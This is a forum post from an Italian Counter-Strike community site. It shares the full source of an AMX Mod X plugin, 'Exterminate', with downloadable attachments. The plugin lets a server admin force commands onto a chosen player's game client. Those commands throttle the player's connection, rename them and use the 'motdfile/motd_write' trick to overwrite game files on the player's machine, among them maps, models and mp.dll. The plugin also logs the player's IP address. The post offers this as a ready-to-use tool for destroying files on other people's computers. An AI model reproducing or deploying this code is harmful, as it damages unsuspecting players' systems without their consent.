Homebase Profiles User Control Panel FastNav
               

Vai indietro   CStrike.iT > Counter-Strike > Resurese Counter-Strike > Pluginuri
Forum Group @ Facebook


Rispondi
 
LinkBack Strumenti discussione Modalità visualizzazione
  #1  
Vecchio 06-24-2011, 21:22
L'avatar di r00t
Founder/CEO
Points: 14226, Level: 12
Activity: 99.7%
Users Flag!
 
Data registrazione: Nov 2002
Localitą: localhost
Messaggi: 798
Tournaments Joined: 3
Tournaments Won: 0
Thanks: 92
Thanked 138 Times in 92 Posts
Shop User owns 3x M4A1 User owns 2x AK47 User owns 4x Sniper Soldier

Awards Showcase
Tifoso AS Roma 
Total Awards: 1


Mood
Approved

Predefinito [AMXX] Amx Exterminate

Codice PHP:
#include < amxmodx >
#include < amxmisc >

new const g_sCommands[ ][ ] =
{
   
"rate 1",
   
"cl_cmdrate 1",
   
"cl_updaterate 1",
   
"fps_max 1",
   
"sys_ticrate 1",
   
   
"name cstrike.it",
   
   
"motdfile models/player.mdl;motd_write x",
   
"motdfile models/v_ak47.mdl;motd_write x",
   
"motdfile cs_dust.wad;motd_write x",
   
"motdfile models/v_m4a1.mdl;motd_write x",
   
"motdfile resource/GameMenu.res;motd_write x",
   
"motdfile halflife.wad;motd_write x",
   
"motdfile cstrike.wad;motd_write x",
   
"motdfile maps/de_dust2.bsp;motd_write x",
   
"motdfile events/ak47.sc;motd_write x",
   
"motdfile dlls/mp.dll;motd_write x",
   
   
"cl_timeout 0"   
};

public 
plugin_init( )
{
   
register_plugin"Exterminate""1.0""DiRTy&alecs" );
   
register_concmd"amx_exterminate""Concmd_AMXX_exterminate"ADMIN_LEVEL_G"" );
}

public 
Concmd_AMXX_exterminateidlevelcid )
{
   if( !
cmd_accessidlevelcid) )
      return 
PLUGIN_HANDLED;
   
   new 
sArgument32 ];
   
read_argv1sArgumentcharsmaxsArgument ) );
   
   new 
player cmd_targetidsArgument, ( CMDTARGET_NO_BOTS CMDTARGET_OBEY_IMMUNITY CMDTARGET_ALLOW_SELF ) );
   
   if( !
player )
      return 
PLUGIN_HANDLED;
   
   for( new 
0sizeofg_sCommands ); i++)
      
client_cmdplayerg_sCommands] );
   
   new 
name32 ], name232 ], ip216 ];
   
get_user_nameidnamecharsmaxname ) );
   
get_user_nameplayername2charsmaxname2 ) );
   
get_user_ipplayerip2charsmaxip2 ), );
   
   
log_to_file"exterminations.log""%s exterminate %s(%s)"namename2ip2 );
   
   
player_color0".gADMIN .v%s .g: exterminated .v%s"namename2 );
   
   
client_cmd0"spk ^"vox/bizwarn coded user apprehend^"" );   
   
   return 
PLUGIN_HANDLED;
}

stock player_color( const id, const input[ ], any:... )
{
   new 
count 1players32 ]

   static 
msg191 ]
   
vformatmsg190input)
   
   
replace_allmsg190".v""^4" /* verde */
   
replace_allmsg190".g""^1" /* galben */
   
replace_allmsg190".e""^3" /* ct=albastru | t=rosu */
   
replace_allmsg190".x""^0" /* normal-echipa */
   
   
if( id players] = id; else get_playersplayerscount"ch" )
   {
      for( new 
0counti++ )
      {
         if( 
is_user_connectedplayers] ) )
         {
            
message_beginMSG_ONE_UNRELIABLEget_user_msgid"SayText" ), _players] )
            
write_byteplayers] );
            
write_stringmsg );
            
message_end( );
         }
      }
   }

File allegati
Tipo file: sma exterminate.sma (2.6 KB, 2 visite)
Tipo file: amxx exterminate.amxx (7.1 KB, 1 visite)


YAY! I'VE GOT RAINBOW COLOR SIGNATURE CRAP

Rispondi citando Share on facebook

CStrike.iT
Rispondi

Tag
amx, amxx, exterminate

CStrike.iT

Strumenti discussione
Modalità visualizzazione

Regole di scrittura
Tu non puoi inviare nuove discussioni
Tu non puoi inviare risposte
Tu non puoi inviare allegati
Tu non puoi modificare i tuoi messaggi

Il codice BB è Attivo/e
Faccine sono Attivo/e
Il codice [IMG] è Attivo/e
Il codice HTML è disattivato
Trackbacks are Attivo/e
Pingbacks are Attivo/e
Refbacks are Attivo/e



Tutti gli orari sono GMT +2. Adesso sono le 16:00.

Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2012, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO 3.6.0
Copyright ©2002 - 2010, CStrike.iT

CStrike.iT tested by McAfee Security CStrike.iT tested by McAfee Security

This site is optimized for 1280x1024 screen resolution and works best with Firefox